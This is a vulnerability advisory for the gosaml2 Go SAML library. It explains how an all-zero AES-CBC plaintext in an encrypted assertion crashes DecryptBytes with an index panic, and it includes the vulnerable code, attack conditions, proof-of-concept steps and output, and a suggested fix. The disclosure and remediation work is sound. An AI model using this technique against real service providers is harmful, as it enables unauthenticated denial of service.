gosaml2 CBC Padding Panic — Unauthenticated Process Crash

Summary

The AES-CBC decryption path in DecryptBytes() panics on crafted ciphertext whose plaintext is all zero bytes. After decryption, bytes.TrimRight(data, "\x00") empties the slice, then data[len(data)-1] panics with index out of range [-1]. There is no recover() in the library. The panic propagates through ValidateEncodedResponse and kills the goroutine (or the entire process in non-net/http servers). An attacker needs only the SP's public RSA key (published in SAML metadata) to construct the payload — no valid signature is required.

Affected Version

All versions of github.com/russellhaering/gosaml2 through latest (v0.9.0 and HEAD) that support AES-CBC encrypted assertions.

Vulnerable Code

types/encrypted_assertion.go:65-79 — DecryptBytes, AES-CBC branch:

case MethodAES128CBC, MethodAES256CBC, MethodTripleDESCBC:
    if len(data)%k.BlockSize() != 0 {
        return nil, fmt.Errorf("encrypted data is not a multiple of the expected CBC block size %d: actual size %d", k.BlockSize(), len(data))
    }
    nonce, data := data[:k.BlockSize()], data[k.BlockSize():]
    c := cipher.NewCBCDecrypter(k, nonce)
    c.CryptBlocks(data, data)

    // Remove zero bytes
    data = bytes.TrimRight(data, "\x00")      // <-- empties the slice if plaintext is all zeros

    // Calculate index to remove based on padding
    padLength := data[len(data)-1]             // <-- PANIC: index out of range [-1]
    lastGoodIndex := len(data) - int(padLength)
    return data[:lastGoodIndex], nil

Attack Details

Property	Value
Attack Vector	Network (unauthenticated HTTP POST to ACS endpoint)
Authentication Required	None
Attacker Knowledge	SP's public RSA certificate (published in SAML metadata)
Signature Required	No — decryption happens before assertion signature validation
Payload Size	Single HTTP POST (~2 KB)
Repeatability	Unlimited — attacker can send the payload repeatedly
Affected Configurations	Any SP with SPKeyStore configured (encrypted assertion support)
Trigger Condition	AES-CBC plaintext that is all 0x00 bytes after decryption

Impact

• Process crash: In gRPC servers, custom frameworks, CLI tools, and background workers, the unrecovered panic kills the entire OS process immediately.
• Goroutine crash: In net/http servers, the built-in per-goroutine recovery catches the panic, returning HTTP 500 and logging the full stack trace. The server survives but the request-handling goroutine is terminated abnormally.
• Denial of service: The attack is unauthenticated and repeatable. A single crafted HTTP request is sufficient. Automated retries can keep the service down indefinitely.
• No valid signature needed: The SAML Response does not need to be signed. On the unsigned-response code path (decode_response.go:346), decryptAssertions() is called before any assertion signature validation.

Reproduction

Prerequisites

• Docker (for the vulnerable server)
• Python 3.8+ with cryptography and requests packages

Files

File	Description
server.go	Minimal SAML SP using gosaml2 — the victim
poc.py	Attacker script — builds and sends the crafted payload
Dockerfile	Multi-stage build for the vulnerable server
run.sh	Build and orchestration script

Steps

# 1. Build the vulnerable server
./run.sh build

# 2. Start the server
./run.sh start

# 3. Run the attacker script
pip install cryptography requests
./run.sh attack

# Or do everything in one command:
./run.sh all

Expected Output

Attacker terminal (poc.py):

 ========================================================
  CVE: CBC Padding Panic — Unauthenticated Process Crash
  Target: gosaml2 (github.com/russellhaering/gosaml2)
  File:   types/encrypted_assertion.go:77
  Impact: Remote DoS — single HTTP request kills process
 ========================================================

[*] Target: http://localhost:9999
[*] Checking server health...
[+] Server is alive

========================================================
  Phase 1: Obtain SP public certificate from metadata
========================================================
[*] GET http://localhost:9999/metadata
[+] Retrieved SP certificate (xxx bytes)

========================================================
  Phase 2: Build crafted EncryptedAssertion payload
========================================================
[+] Extracted RSA public key (size=2048 bits)
[*] Generated AES-128 key: <hex>
[+] RSA-OAEP encrypted AES key (256 bytes)
[+] AES-128-CBC ciphertext: IV(<hex>) + 16 bytes
[*] Plaintext is all zeros — will trigger empty-slice panic after TrimRight
[+] Built SAML Response (xxx bytes XML, xxx bytes b64)

========================================================
  Phase 3: Send payload to /acs
========================================================
[*] POST http://localhost:9999/acs
[*] The server will decrypt our ciphertext, hit the all-zero
    plaintext edge case, and panic in DecryptBytes()...

[*] Got HTTP 500 — goroutine panicked but net/http recovered it

========================================================
  Phase 4: Verify server status
========================================================
[*] Server is still responding (net/http recovered the goroutine panic)
[*] But the panic stack trace in server logs confirms the vulnerability.
[*] In non-HTTP servers, the process would be dead.

========================================================
  VULNERABILITY CONFIRMED
  types/encrypted_assertion.go:77 — index out of range [-1]

  Stack trace:
    types/encrypted_assertion.go:77  (padLength := data[len(data)-1])
    decode_response.go:176           (decryptAssertions)
    decode_response.go:346           (ValidateEncodedResponse)
========================================================

Server logs (panic stack trace):

http: panic serving 127.0.0.1:xxxxx: runtime error: index out of range [-1]
goroutine XX [running]:
net/http.(*conn).serve.func1()
    /usr/local/go/src/net/http/server.go:1898 +0xbe
github.com/russellhaering/gosaml2/types.(*EncryptedAssertion).DecryptBytes(...)
    types/encrypted_assertion.go:77 +0x...
github.com/russellhaering/gosaml2.(*SAMLServiceProvider).decryptAssertions.func1(...)
    decode_response.go:176 +0x...
github.com/russellhaering/gosaml2.(*SAMLServiceProvider).decryptAssertions(...)
    decode_response.go:196 +0x...
github.com/russellhaering/gosaml2.(*SAMLServiceProvider).ValidateEncodedResponse(...)
    decode_response.go:346 +0x...

Suggested Fix

Replace the unsafe zero-byte trimming and unchecked index with proper PKCS#7 unpadding and bounds checks:

case MethodAES128CBC, MethodAES256CBC, MethodTripleDESCBC:
    if len(data)%k.BlockSize() != 0 {
        return nil, fmt.Errorf("ciphertext not multiple of block size")
    }
    nonce, data := data[:k.BlockSize()], data[k.BlockSize():]
    c := cipher.NewCBCDecrypter(k, nonce)
    c.CryptBlocks(data, data)

    // Validate decrypted data is non-empty
    if len(data) == 0 {
        return nil, fmt.Errorf("decrypted data is empty")
    }

    // Proper PKCS#7 unpadding with bounds checks
    padLength := int(data[len(data)-1])
    if padLength < 1 || padLength > k.BlockSize() || padLength > len(data) {
        return nil, fmt.Errorf("invalid padding length: %d", padLength)
    }

    // Verify all padding bytes are consistent
    for i := len(data) - padLength; i < len(data); i++ {
        if data[i] != byte(padLength) {
            return nil, fmt.Errorf("invalid PKCS#7 padding")
        }
    }

    return data[:len(data)-padLength], nil

Key changes:

1. Remove bytes.TrimRight(data, "\x00") entirely — it corrupts valid PKCS#7-padded data and creates the empty-slice condition.
2. Bounds-check padLength before using it as a slice index.
3. Validate all padding bytes match (proper PKCS#7 verification).
4. Return errors instead of panicking on malformed input.